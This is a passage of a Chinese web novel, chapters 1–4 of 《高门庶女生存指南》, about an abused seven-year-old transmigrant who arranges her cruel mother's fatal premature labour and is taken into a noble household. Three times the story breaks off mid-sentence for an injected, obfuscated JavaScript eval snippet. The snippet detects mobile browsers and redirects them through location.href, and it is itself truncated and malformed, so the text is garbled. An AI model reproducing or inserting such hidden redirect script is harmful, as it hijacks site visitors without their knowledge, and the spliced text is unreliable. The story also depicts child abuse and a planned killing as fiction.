《高门庶女生存指南》 1. 第 1 章 今日冬至,刚过午时天空便飘起了细碎的雪花,斑斑点点的落在地上,悄无声息的。 柳巷胡同一处静谧的小院,此时的厨房还在忙碌着。 芸儿小心的端着一盅燕窝从厨房里出来,她被外头的冷气冻的一激灵,不自觉的缩了缩脖子,手上的汤盅却丝毫未动。 七岁的孩子,一举一动皆是小心翼翼。 她的眼睛一直落在汤盅上,父亲许久未来了,今日府上送来了月例,娘亲和肚子里的弟弟终于能吃上燕窝了。 想到这,她的脸上也带上笑容,花婆婆说只要娘亲生了弟弟,父亲便回将她们接回府上,她们的日子也就都能好起来,如今娘亲已经怀孕八个月了,再过月余娘亲生了弟弟她就能过好日子了。 只是七岁的孩子,面对汤盅飘来的香味还是忍不住舔了舔唇角。 她还未吃过燕窝呢,不过今日她定是能吃的很饱了,还是先给娘亲送去,也叫娘亲高兴高兴。 芸儿轻手轻脚的打开了书房的门,屋内适宜的温度叫她不自觉的轻舒口气。 只是她虽闹出了些动静,屋内的女子却浑然不觉,自顾自的挥洒着手上的笔墨。 这是一间简单雅致的书房,几排书架,角落摆放着两个炭盆,茶几上还燃着熏香,书桌前一位美貌的妇人正专心致志地作着画。 妇人肚子已经很大了,应是经常作画的,手上的动作利索的很,十分赏心悦目。 这是一幅赏梅图,一大片的梅林下是几位身着华服的妙龄女子,她们肆意的说笑玩闹,举手投足间皆是欢乐。 妇人正在细细描摹其中一位女子的眉眼,只听一阵声音扰乱了她的心神。 芸儿轻手轻脚的行至娘亲身前,小心道:“娘亲,女儿来给您送燕窝。您先尝,” 只是她话还未说完,便见女子已经变了脸色。 因为被突如其来的声音打断,她的手停顿了一下,笔尖却不小心触碰到了画上,她正描摹的女子面目瞬间变的黑乎乎的一团,一如她的本该一帆风顺的人生一般,都被毁了!都被毁了! 妇人气急,竟直接抄起手边的镇纸猛的朝来人掷了过去! 下一瞬,芸儿便头破血流的倒了下去。 她眼睛睁的大大的,额头的鲜血流到了她的眼睛里,叫她眼前血红一片,她的脑中只剩下了她娘对她长年累月的冷眼和刚才她娘看向她时吃人般的目光。 兴许,她是不该被生下来的。 为何就没有人爱她呢? 可是不爱她,为何又要生下她呢? 妇人却毫不在意地上头破血流的女儿,死不死的,跟她又有什么关系呢。 她面无表情的将手下的画给撕了个粉碎,又一脸漠然的从亲生女儿身边走了过去,甚至连一个眼神也未分给她…… * 天刚蒙蒙亮,不少人还在安睡。 太阳懒懒的升起微弱的光,月儿悄悄隐没,天地一片冰凉之色。 小院已经燃起了袅袅炊烟。 花婆子在女人身后张了张嘴,门却吱呀一声被关上了。 婆子终是叹了口气,转身同厨娘对了个眼神,二人眼中是止不住的担忧。 她们不明白,天底下怎生还有这种不爱惜骨肉的人呢,都说虎毒不食子,这小娘,小娘也太狠了些,姑娘前几日刚能下地,这便马不停蹄的叫姑娘干活,说句不好听的,她们这些奴仆都比姑娘过的舒坦一些,至少小娘不会动辄打骂。 姑娘算是花婆子二人养大的,情分深厚,可是心疼归心疼,她们若是替姑娘多说上一句,小娘罚姑娘便越狠,如今二人已经不敢多嘴了。 小娘眼看就要生了,也不爱惜自己个儿,每日净想着怎么磋磨自己女儿了。 王厨娘冲花婆子摇了摇头,便转身去灶上准备早食去了,不是她们心狠,二人是买来的下人,自身尚且难保。 大爷已经几月未来,这几月小娘对姑娘愈发的过分,她不是没趁着采买的功夫去府上打听过,只是大爷确实在外地公干,半年未归了。 大爷虽未来,却从未断了小院的银钱,尤其每月小娘的补品汤药,来的都很及时。 可是,可是大爷真的就这样放任姑娘被小娘磋磨吗…… 若是一日小娘再发起疯来,姑娘,姑娘可怎么办呢! 眼看小娘便要生产了,只希望小娘能生个带把的,大爷也好将姑娘一同接回侯府里去,王厨娘心里越想越憋闷,姑娘是她一手看大的,她心疼的很,只是,哎…… 罢了,她们做奴仆的人微言轻,便是拼了命的去护怕也是白白浪费了性命,王厨娘认命似的多添了些水,一会姑娘浆洗衣裳的时候还能好受些。 屋内。 女人头上两只金钗,面容秀丽,发髻一丝不苟,大红色披风将圆鼓鼓的肚子全部都遮了起来,她双手轻轻抚摸着自己的隆起的肚皮,居高临下的看着被褥中因为刚才开门进来的冷气而直往被窝里缩的女儿,眼神无波,像看什么死物,白皙的面容上一丁点的表情也没有,下一瞬竟直接伸出了自己那保养得当的玉手一把将被子给掀了起来。 林诗芸被生生的冻醒,她睁开眼睛便看到了床前原身那个要死不死的亲娘。 她心中恨不得将这女人大卸八块,面上却故作懵懂的揉了揉眼睛,学着记忆中原身的模样叫了声娘亲,又紧张又害怕的颤抖着身子道了句芸儿马上起,便一咕噜爬了起来。 已过冬至,天儿冷的不像话,她哆哆嗦嗦的穿上衣裳,也不管身后的疯女人,径直开了门,只是门一打开,外面的冷气便直冲而来,林诗芸只觉头皮冻的发麻,牙齿咯咯作响。 她身上的袄子本就单薄,这一下便被冻了个透心凉。 林诗芸蹲在角落,忍着手上的疼痛,咬着牙搓着衣裳,虽然水是温热的,林诗芸心里却还是寒的很。 这疯女人简直不配为人母,大冬天的叫自己七岁的女儿亲自浆洗衣裳,虽说厨娘和婆子心疼她给提前兑了热水,但是她还是狠的牙痒痒。也不知道自己是倒的哪辈子的霉,一朝身死穿到了这倒霉孩子身上。 是的,林诗芸是个异世魂,如今穿来刚好七日。倒也不是她想穿,任谁死的好好的,莫名其妙的一睁眼便穿越成了个小孩子,身体还发着烧,刚一能下地,亲娘便逼着做饭洗衣的谁心里都不会痛快。 她这具身体才七岁,七岁啊,一年级的小娃娃罢了,这亲娘的心也不知是什么做的,冷硬无情的很!小院里也不是没有丫鬟婆子,可这女人就愿意折磨亲女,洗衣做饭便没有不让她做的。 每日只要女人自己起了,第一件事是便是将女儿给叫起来干活! 林诗芸心里一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041260|162539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵骂骂咧咧,不由自主的升起了一个大胆的想法,非常之大胆。 她想不弱干脆一不做二不休杀了这女人吧,想个法子,也好一劳永逸。 她是有原身记忆的,她知道自己亲爹是个官,疯女人是亲爹养在外头的外室,自己则是个外室的女儿,除了这个小院,原身从未出去过。 她的世界除了这四四方方的天,便只有娘亲和两个婆子。亲爹已近几月未来了,其实原身的记忆里亲爹来的次数也是不多的。 但是她记忆里亲爹虽不是很疼她,但每次一来总是要同自己说些话的,虽算不上多喜欢自己,却还是给自己带好多玩意,吃的喝的用的多的很,只是亲爹一走亲娘便将东西收了不给她罢了。 小孩兴许是知道亲娘不喜自己,从小在亲娘面前便不怎么言语,从来都是亲娘叫她干什么便干什么,不会跟亲爹叫屈,更不会哭闹。 但是近几月亲爹也没有来过了,她渐渐地像是认了命,任由亲娘对她磋磨。 林诗芸对这女人十分看不上,原身死了,也算是还了她的生恩,她可不是什么圣母玛利亚白白受她折磨,叫她想想,叫她好好想想她该怎么做。 她猜想,亲爹如此放任这女人发疯折腾亲女,要么就是他根本不在乎这个女儿,要么就是他愧对与这个女人才放任她磋磨,或者可能是另一个原因,亲爹有事情长时间不在这城里,并不知道女儿被如此对待。 算了,反正不管是哪个,林诗芸都觉得自己不自救是不行了。 原身额头上有道明显的疤痕,便是这亲娘前几日发起疯来给砸的! 直接导致了原身高烧不退一命呜呼,呵,她可不是什么好性儿的,想叫我死,我先弄死你!只要女人死了,这亲爹就没办法不管她的!即使不接她走,有这么一个院子,只要亲爹还给钱,那她就能平安长大! 她上辈子便不是个好性的,十岁时爸妈离婚时当她是个累赘,谁也不要,她便自己跟着奶奶生活,后来二人都再婚之后就更不管她了。后来自己查出了不好的病,她便换着法的去找爸妈要钱,你们不是不想管我吗,想过好自己的日子?不给我钱我便搅的你们天翻地覆,一天不得安生。 想想自己死时卡里的钱,应该也够奶奶养老了,眨了眨酸涩的眼睛,继续搓衣裳。 不洗不行啊,不洗那女人不给饭吃,原身这小身板,跟豆芽菜似的,全是亲娘给饿的。 暖阳渐升,不多时金黄便铺满了大地,照在林韫宁身上,逐渐击退了她身上的寒气,终于暖和了一些。她手上不敢太用力,虽说平日是用温水浆洗,可她穿的薄啊,平日里干的活多也没法注意,手上的冻疮已经干裂流脓了,浆洗的时候疼的她龇牙咧嘴的。 心不在焉的想着乱七八糟的,那边大门却砰砰的响了起来,花婆子道了句应是来送木炭的,唤了声来了来了,小跑着去开门。 林诗芸头也没抬,她还没想好下一步怎么走,看外头的景色没什么用,身上也没银钱,大冬天的,也不好一跑了之,还得从长计议才是。水温渐渐冷却,她颤抖着小手,翻了个面继续捶打衣裳。 只是在听到墙外的猫叫时不知想到了什么,轻轻勾了勾唇角。 她生病时可是最爱看甄嬛传了,这不,刚穿越不就用上了? 孕妇什么的最怕猫了,被惊到可就不好喽。 2. 第 2 章 一连几日,林诗芸都在无人注意的角落对小野猫照顾有加。 终于在一个夜黑风高的寒冷夜晚,小野猫在来小院寻吃食的时候冲撞了那个要死不死的女人。 林诗芸躺在被窝里,将自己裹了个严实,在听到外头一声凄厉的惨叫时没忍住勾了勾唇角。 甄嬛传诚不欺我。 还得是宫斗啊,这下女人肯定是早产了。 古代的女子生产多有不易,足月生产都极多难产,别说这八个半月早产的了。 不过老话有云,七活八不活。 小弟啊,你别怪姐姐心狠,要怪,就怪亲娘恶毒吧。 不多时便想起了花婆子和王厨娘的着急的声音。 林诗芸还在费劲巴拉的同被窝做斗争。 最终还是理智战胜了被窝,做戏还得做全套,她还是得注意观察的,挣扎着起来穿上了衣裳,小跑着出了门。 她揉了揉眼睛,一脸睡眼惺忪的看着院中躺在冰冷地上的妇人,和手忙脚乱将人往屋里搬的两个婆子。 月光如水,已经可以看到女人裙摆下的斑斑血迹了。 花婆子有生产经验,姑娘便是她亲自接生的,她看着快要被吓哭的姑娘,同王厨娘一边抬小娘一边道,“姑娘别害怕,去烧些热水可好?” 林诗芸故作紧张,声音颤抖着道了声好,便哭着往厨房里跑。 她的身后,只剩下那女人痛苦的呻吟声了。 此时已经子时了。 看着地上一盆盆的血水,花婆子两人早就慌了手脚。 这大半夜的已经宵禁,到底该如何是好! 本来侯府说九月一到便送产婆过来的,谁曾想会早产啊! 王厨娘心中焦急,一狠心一咬牙道,“若是小娘和肚子里的孩子出了事,咱俩都得死,我去侯府砸门!” 说完便不管不顾的冲出了门去,一下便不见了踪影。 花婆子往小娘嘴里塞了片人参,轻声哄道:“小娘再用力些公子就出来了!” 秦明月早就没了力气,只胡乱的点头。花婆子转头跑进了厨房,叫林诗芸煮碗红糖鸡蛋来给小娘吃了有力气生孩子。 林诗芸不断的点头,利索的开始干活。 红糖鸡蛋好啊,她正饿着呢。 叫她没想到的是,侯府来人来的很快。 只半个时辰产婆便到了。 一同来的还有她那个几月未曾见过的父亲。 她听着声响,故意没出去,擦净了嘴角,又磨磨蹭蹭的将一大碗的红糖鸡蛋煮好后才端了出去。 彼时的林怀诚正紧皱着眉头盯着厢房的门,屋内不断传出女子痛苦的呻吟,他脑袋里想的却是母亲今日说过的话,若是生个男丁便过继给老三…… 秦明月,也算是他真正爱过的女人,这…… 还不等他多想,便听见身后传来一阵声响。 他转过头,便看到了七岁的林诗芸正端着个托盘小心翼翼的往前走。 他怔愣了片刻,这孩子,怎的这样瘦了? 此时的小院灯火通明,他很轻易的就看到了林诗芸手上的冻疮,在看到她身后并无他人,他眉头皱的就更加厉害了。 身旁的小厮赶紧去接过了林诗芸手上的托盘,在触碰到她手上冰凉的温度之后也是变了脸色。 再看小姐身上的衣裳,林全心下了然,林全看清托盘上的食物,将东西交给婆子送进屋内。也无须主家吩咐,已经轻轻的走至门外,吩咐下人去寻衣裳去了。 林诗芸的小手不自觉的扣住了衣角,眼睛在看到父亲的那一瞬已经红了。 她倔强的没让眼泪掉下来,而是轻轻的抽了抽鼻子,怯怯的看了眼男人,又低下了头,叫了声爹爹。 林怀诚张了张嘴,最终也只是嗯了一声。 天上又稀稀疏疏的下起了雪。 冬日的午夜,冰冷的不像话,偶尔吹过的一阵风都跟刀子似的,刮的人脸生疼。 林怀诚脱下了身上的大氅,行至林诗芸身前,将七岁的姑娘一股脑的给裹了进去。 林全并未出生劝阻,只是道,“正厅已经燃起了炭盆,爷和姑娘不若去厅里等吧,秦姨娘这里有产婆和大夫,定会母子平安的。” 林怀诚点了点头,下一瞬竟直接将林诗芸给抱了起来,林诗芸趴在父亲怀里,眼泪终于肆无忌惮的流了下来。 这渣爹,早来几日多好啊,原主也用不着死了啊。 原主那么小小一个人,在临死之前还在想为何就没有人爱她,不爱她为何又要生下她…… 芸儿,你看,你爹爹还是爱你的…… 她能够感受到原身的委屈,只是芸儿在感受到爹爹的怀抱之时,怨气竟已然消散了许多。 兴许她是感受到爹爹的关心了吧。真的是个心善的孩子。 好孩子,安息吧,这辈子的仇姐姐替你报了,听着隔壁传来的痛苦呻吟,你这个亲娘,即使今日能活,明日也是活不过去的。 也不知林诗芸在林怀诚怀里哭了多久,这孩子竟不知不觉直接睡了过去。 小小的一团窝在爹爹怀里,手还紧紧抓着父亲的衣角,脸上满是泪痕,额头上一道明显的疤痕叫人看的触目惊心,小孩睡的极不安稳,睡梦中时不时呓语,爹爹,芸儿疼……爹爹,你怎么还不来啊…… 林怀诚眨了眨眼睛,半晌深深的叹了口气,手上却没有丝毫放开林诗芸的意思。 罢了,算是他这个父亲不称职,此事过后,便带回府吧。 待林诗芸再醒来时,天已经大亮了。 隔壁厢房的痛苦之声却还在继续,只是声音听着越来越小了,好似已经没了生气。 门外一阵跪地请安的声音传来,林诗芸自父亲怀里挣扎起身,有些不明所以的睁开了眼睛,待看清自己还在爹爹怀里之后,吓的脸都白了。急忙的从父亲身上下去,却正好看到了来人一张严肃的脸。 林诗芸低着头,老实的站在一旁。 林怀诚动了动僵硬的胳膊,起身朝来人行礼,“母亲怎么亲自来了。” 侯府老太君只淡淡看了林诗芸一眼,脸上未有什么表情。 轻声道,“我来看看,” 老太君听着隔壁的动静,直接开口道,“生下来便抱给王氏养着,王氏几月前落的那个同这个差不多大,” 到底是自己亲儿子,老人的语气放轻柔了些,“你也别怨娘心狠,你同你大哥都有后,只你三弟,仅一个女儿,这又伤了身子……” 说完老太君叹了口气,“你同她也是虐缘,如此也好,省得你同之颜再闹的别扭。” “至于这孩子,便带回府中养着吧,也算是对她亲娘生子的补偿了。” 好半晌,林怀诚眼神空洞的看了前方两眼,才轻轻的嗯了一声,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041261|162539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便依母亲的意思吧。” 如此,老太君脸色这才好了起来。 眼神再看向林诗芸时,也没了之前的冷硬了。 竟朝林诗芸招了招手。 林诗芸乖巧的走了过去,试探性的开口,“奶奶好。” 这一声奶奶倒没叫老太君生气,老太太对这民间的称呼竟然还感觉到有些亲切。 兴许是解决了心中的一件大事,三儿子终于有了后,老太太感觉这个丫头片子看着也颇为顺眼起来。 只是还不等老太太仔细打量这小丫头,便听见隔壁厢房传来了一声婴儿啼哭。 老太太激动的站了起来,不多时便有产婆抱着洗净了的孩子出来。 产婆将孩子包的严实,躬身道,“恭喜老太君,恭喜二爷,是个小公子!” 老太太一张脸高兴的不像话,摆摆手道,“快!快!回侯府!” 说完也不等二儿子看过亲子竟直接将新生儿抱上了马车…… 林诗芸站在渣爹身旁,看着渣爹傻傻的站在原地,没忍住,伸手拽了拽渣爹的大手。 林怀诚被女儿叫回了神智,林诗芸一脸天真的问道,“爹爹,娘亲呢?” 还不死吗。 还不等林怀诚回答,产房便变得混乱起来,声音直接传到了他们的耳朵里。 “不好了!不好了!小娘血崩了!” “大夫!大夫!” 很好,马上死了。 林怀诚眼睛闪了闪,大手抚摸着摸了摸林诗芸的头顶,轻声道,“你娘亲生了弟弟需要休息,爹爹先带你回府。” 林诗芸眼睛挣的大大的,有些不明白。 林怀诚轻轻扯了扯嘴角,“她要同家人团聚了,芸儿不必担心。” 哦,林诗芸知道了,全家都死了啊。 林怀诚看了林全一眼,林全会意,转身进了隔壁屋的门。 林诗芸则是又被爹爹抱了起来,大氅将她包了个严实,不多时便上了一辆宽大华贵的马车。 马车内竟然有女童的袄子。 林怀诚知道是林全备的,便取过来一件,帮着林诗芸穿上了。 而穿上新衣裳的林诗芸很是高兴,她的眼睛亮亮的,纯真又清澈,双手摩挲着身上的新衣对渣爹道:“谢谢爹爹,芸儿很喜欢。” 林怀诚看着她身上不怎么好也不怎么厚实的衣裳,一颗心顿时有些堵。 只是眼神在触及林诗芸的手的时候,还是轻轻的叹了口气,扬声吩咐门外的车夫道,先去趟医馆。 医馆的老大夫脾气不怎么好。 要知道谁一大早的早膳尚未用完便被强制性的唤来了,谁心情都不会好。 不过老大夫基本的医者仁心是有的,他也不管林怀诚这个爹的身份,总之锦衣华服的,定不会是什么差的人家,连个女娃都照顾不好,“就这么点的个子,一看便是经常饥一顿饱一顿的,这满手的冻疮,还有额头上那个疤,” 老大夫啧啧两声,白了林怀诚一眼,又故意道,“这么好看的女娃,这额头的伤口有些深了,怕是要留疤。还得您去寻些宫中秘药才行,看您也不像个缺钱的,这孩子面相不错,说不定是个福星呢,您合该好好养着才是啊。” 临走时林诗芸趴在渣爹的肩头冲老大夫眨了眨眼,张着嘴无声的说了句谢谢爷爷。 你看,她就说吧,世上还是好人多嘛。 3. 第 3 章 马车晃晃悠悠的走了一刻钟,终于停了下来。 林诗芸再次被林怀诚给抱了起来。 刚一下马车,她便抬眸看向了大门处,这磅礴大气的四个字是,定安侯府。 我草,亲爹是侯爷?看着不像啊,亲爹身上没那么有气势啊。 终于门房的一句二爷为林诗芸解了惑。 哦,她就说吧,原来是二房。 不过也挺牛逼的,自己这摇身一变,就成了侯府小姐了? 吆,难怪花婆婆说这是好日子呢,果不其然啊,侯府小姐的日子,至少是锦衣玉食吧,嘿嘿,好日子这不就来了! 一路上是雕梁画栋曲水流觞的,林诗芸感觉一双眼睛根本不够用,自己和跟刘姥姥进大观园似的,看哪都感觉稀奇。 林诚安的脚程很快,反正是七拐八绕的,林诗芸也记不清了,父女二人终于来到了一处雅致的院落。 一位貌美的妇人应是得了消息,听见动静很快便迎了上来,林诚安将林诗芸放了下来,叹息一声,唤了声夫人。 妇人回了声夫君,眼神却是直接落在了林诗芸身上。那眼神,不能说的上是友好。 不是说这孩子七岁了,怎的这么瘦小一个? 这孩子是那女人挺像,一样的桃花眼,一样的高挺的鼻梁,只是也太瘦弱了些,并不好看。 姚之颜眉头不由自主的便皱了起来。 虽说不喜,却还是顾着丈夫的面子,将人领进了厢房。 她走进林诗芸,将她身上不合适的大氅解开,待看清林诗芸额头上的疤痕,身上并不合身的衣衫和手上的冻疮,一屋子的丫鬟婆子俱是倒吸了口冷气。 王妈妈接过林诗芸身上的披风,也不用主家吩咐,对着身边的几个丫鬟挥了挥手叫人退下。 姚之颜也是位母亲,对自己两个孩子一向是心疼的很,看到林诗芸的模样鼻尖竟有些酸涩。 她自己就是个庶女…… 想象不到外头的女人是什么样的心思,怎会将孩子养成这样。 终是不忍战胜了不喜,她蹲下身子,轻轻抚摸着林诗芸过于清瘦的小脸,又看向了林诗芸的手,抬头拿眼神询问丈夫,这,这孩子怎的满手的冻疮? 林怀诚看着夫人关心的面容有些心虚,半晌也只是摇了摇头,看丈夫的模样,姚之颜也知此时不是说这个的时候,便收回了思绪。 小厮将大夫开的药和药膏全都拿了进来便退出去了,姚之颜看的直皱眉头,吩咐王妈妈着人去熬药。 林怀诚蹲在芸儿一侧,尽量放柔了声音道:“芸儿,这便是你母亲,以后母亲会照顾好你。” 芸儿看看父亲,又看了看姚之颜,虽然不是很明白,但是她却还是乖巧的唤了声母亲。 说完便低下了头,小手不断的揪着自己的衣摆。 室内温暖如春,热气烘在芸儿的小手上胀的发痒,但是她身上却不再寒冷了,只是小家伙看着十分的紧张,她的穿着打扮同这精美华丽的屋子显得有些格格不入,她不敢抬头,只局促的盯着自己脚面。 姚之颜正要开口说些什么,只听门外一阵叫嚷,一个八九岁的女童风风火火的便闯了进来,女童一身火红色袄子,白白胖胖的,因为跑的太过激烈而面色微微泛红,正好和房内的林诗芸产生了鲜明的对比。 一个却是锦衣玉食粉雕玉琢一个却是衣衫褴褛瘦骨嶙峋…… 此时的林怀诚并未关心两个女儿怎样,他轻轻握住了妻子的手,用只有二人能听见的声音在这不合时宜的时间同妻子推心置腹,“这么多年,是我对你不住。她,她难产已经去了,孩子被母亲抱给了三弟,以后便是三弟的孩子了。你…我…她连亲生女儿都如此对待,是我识人不清了,以后,以后都不会了,之颜,是我错了。” 一句话叫姚之颜落下了泪。 她是怨的,怎能不怨呢。 她虽为国公府庶女,却是记在嫡母名下的,她的教养她的门楣,嫁他林怀诚一个侯府嫡次子绰绰有余,却没想过他们刚一成亲她便养了外室,还是,还是那个女人…… 林怀诚手忙脚乱的帮妻子擦净眼泪,转头便看两个女儿还呆站在一旁。 闯进来的林诗情一眼便看到了被父亲母亲围着的女童,想着刚才丫鬟谈论的话,便好奇的看向林诗芸。 站在一旁对着林诗芸左看右看,不住的打量,怎生爹爹外头的女儿像个乞丐一般,是吃不饱饭吗?有些可怜。 林诗情被母亲教育的很好,八岁的女童又是长在了福窝窝里,自是不谙世事,心地善良又天真无邪,这个年纪的林诗情,是看不得人受苦的,尤其还是同龄的女童,明儿是那种哪怕出门见到乞丐都会亲自给上一些银钱的好孩子。 对于多个妹妹,林诗情刚开始是不愿意的。 虽然她也羡慕别家的孩子都有弟弟妹妹,但是一想到丫鬟们说的爹爹会因为这个女儿不疼爱自己了,心里就有些别扭。 于是她只是撅着嘴盯着林诗芸的手若有所思,怎的这手这样难看?那些伤口是冻的?这个妹妹,这样瘦,是吃不饱也穿不暖吗。 这时候,林诗芸的肚子不合时宜的响了起来。 咕噜噜。好饿。 昨晚上林韫宁只用了半个馒头,夜里倒是吃了两个鸡蛋,但是没饱呢,今日到现在还没吃任何东西。 姚之颜听到动静后嗔了还攥着自己手的丈夫一眼,只是眼眸还带着湿润,她故作懊恼,“瞧我,忘了夫君和芸儿还未用早膳,来人,快传膳。” 早膳上的很快,满满当当的上了一桌子,光粥品就好几种,鸡蛋包子花卷馒头小菜,极为丰盛。 只是林诗芸站在桌前,有些踌躇的不敢上前。 姚之颜牵着芸儿的手,叫她上桌用膳,可芸儿挪动了下步子,到了桌前却又退了回来,她抬头迅速的看了桌上的美食,又低下了头,站在桌角,怎么都不愿意上桌用膳。 大人们分明看到了芸儿对桌上吃食的渴望,夫妻俩对视一眼,林怀诚看着芸儿小小的身体,回忆着大夫说的女儿被饿的营养不济的话,心里隐隐有些猜测。 他轻呼口气,轻声道:“芸儿怎的不上来用膳,爹爹已经很饿了,芸儿陪爹爹用膳好不好,” 林诗芸低着头,小手紧紧抓着自己的衣摆,小肚子咕噜噜的,分明已经是饿的很了,却还是没敢挪动半分,只是低头支支吾吾的,脸都快被她埋进衣服里。 姚之颜见此情况,思趁片刻对一旁的女儿道:“哥哥不在,情儿便是大姐姐,理应担负起照顾妹妹的职责,情儿去将妹妹带来用膳可好?” 林诗情看着母亲期待的眼神,点了点头,心里对这个胆小的妹妹开始有些怜惜。 林诗情蹦下椅子,直接去牵林诗芸的手,林诗芸抬起头,面上有些怯懦,兴许是同龄人的原因,林诗情直接开口问道:“肚子响的外头的丫鬟婆子都能听见了,怎的不去用膳?” 林诗芸被姐姐说的小脸瞬时红了起来,她攥着姐姐温热的小手,低着头有些不好意思的开口:“娘说,娘说芸儿不配上桌...” 她的声音不大,却足以叫两位长辈听见,而后半句她没说出来,但是大人们都猜到了,芸儿一直是未上过桌的,或者说,伺候娘亲用完她才能用,她用的,怕全是残羹剩饭。 林诗情听完却撇了撇嘴,哼了一声,“这是什么劳什子规矩,咱们家都是一起用膳的,走,姐姐带你吃,” 林诗芸看着姐姐的眼神满是感激和崇拜,她任由林诗情牵着坐上了椅子。 八岁的孩子,对食物哪有那么强的抵抗能力,刚才不敢上桌只是长年累月的惯性反应罢了。 由林诗情牵着自是顺从的坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041262|162539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,差的也只是一个能替她打破规矩的人,所以芸儿看姐姐的眼神才会那样炽热。 姚之颜张了张嘴解释道,“咱们家没有这个规矩,芸儿不必拘谨。” 剩下的千言万语也只化成了一片叹息,任她怎么都开不了口了。她是真没想到,那个女人竟然如此狠心,这孩子,心里受到的伤害怕是比身体的伤痛更为严重。 林怀诚在怀疑,怀疑从前的那些年他不去小院的时候秦明月是不是也是这么对待芸儿的?是不是只有他去的时候芸儿才能吃上一顿饱饭?拿孩子做筏子,秦明月可太会了。 林怀诚内心其实还有一个猜测,只是他不愿意再去想。 那个女人已经死了,多想无益。 王妈妈给林诗芸盛了碗八宝粥。 七岁的孩子,瘦的跟五六岁的孩子似的,叫人怎么不心疼。就是府上刚买来的丫鬟小厮看着也比这孩子强壮的多。 因为喝了甜甜的粥的林诗芸抬起头冲着姐姐扬起了个大笑脸,一双细长的桃花眼半眯着,“姐姐,这粥是甜的,好喝。” 林诗情看着像猫一样吃东西的芸儿很快便接受了自己姐姐的身份,她跪坐在椅子上,伸长了胳膊帮芸儿夹了个小笼包,语气傲娇,“这是我最爱吃的小笼包,今日早膳我用了四个呢,你快尝尝。” 林诗芸将嘴里的粥咽下,小心的接过姐姐递过来的小包子,她冲姐姐眯了眯眼,十分珍视的咬了下去。是的,是珍视,像是对待什么不可得宝物一般,珍视的咬了一口。 倒不是林诗芸的戏演的有些过了,只因小笼包是上辈子奶奶最拿手的也是她最爱吃的早点,当时过境迁再吃到嘴里,她面上心上都是有颇多感触的。 但是戏还得演,今日的林诗芸势必是要叫父亲因为对原身的愧疚而叫她能多讨些好处的。 于是满屋子的人便见刚咬了一口小笼包还未咽下的芸儿惊喜的问旁边的姐姐,“姐姐,是肉的,里面是肉的,”还不等芸儿将嘴里的食物咽下她便将一整个小笼包全部塞进了嘴里。 怕芸儿噎着,林诗情直接起身给芸儿倒了杯水,芸儿也确实噎到了,但也只那一瞬伸长了脖子,芸儿很快便咽了下去。 王妈妈颇为心酸的站在芸儿身后轻轻的帮她拍背,芸儿很乖,转身同王妈妈道谢后才又拿起勺子继续喝起了粥,模样乖觉的不像话,只是配上孩子瘦弱的模样和手上的伤痕,直叫在场的大人们看的苦涩悲凉。 林诗芸看妹妹也不动筷子,只自顾自喝着自己身前的,便又跪坐在凳子上帮妹妹盛粥。 大人自是想的更多,姚之颜又说了几句芸儿不必拘谨的话,看着这孩子吃着东西冲她扬起的小脸,姚之颜心中的疼惜也多了几分真情实意。 多乖巧多懂事的孩子啊。 林诗情很快适应了姐姐的身份,自认为姐姐有照顾妹妹的义务,投喂妹妹也更加卖力。 鸡蛋烧麦包子,芸儿面前的盘子已经摆满了。虽然林诗芸很饿,但是她并没有吃的真着急,除了第一个小笼包,其余她都是小口小口的吃着,吃的十分专注享受,一脸的幸福。 林诗芸两辈子的人生准则,美食,就不该被辜负。 林怀诚食不下咽,低着头不知在想些什么,姚之颜拍了拍丈夫的手,示意他看两个女儿,大女儿帮妹妹盛粥,一脸娇憨,小女儿吃的专注,时不时的抬头冲姐姐笑笑,画面十分美好。 姚之颜转身同丈夫道:“姐妹俩相互陪伴着长大也挺好,这孩子吃了太多的苦,须得好生照顾。夫君,以后这孩子便记在叶姨娘名下吧,她来府上六年了,也没个一儿半女的,如今芸儿来了,便由叶姨娘教养着,正好。” 林怀诚知道妻子的意思,没有比妻子更贴心的了,他反手握住了妻子的手,轻轻的嗯了一声,“夫人这样安排甚好,以后这孩子,便交给夫人了。” 4. 第 4 章 林诗芸想喝第四碗粥的时候被姚华英给阻拦了下来。 实在是吃的有些太多了。 鸡蛋包子烧麦,七岁的孩子每一样都吃了两三个。 王妈妈面目慈祥,细心的拿出帕子来将芸儿的小手擦净,“姑娘吃饱了便可,用太多会积食肚子痛,一会便又到了用午膳的时候了,好吃的更多,姑娘还得留着肚子用午膳对不对?” 林诗芸一听午膳还有好吃的,眼中似乎是又有了光芒,对不叫她继续吃东西是一点意见也没有。 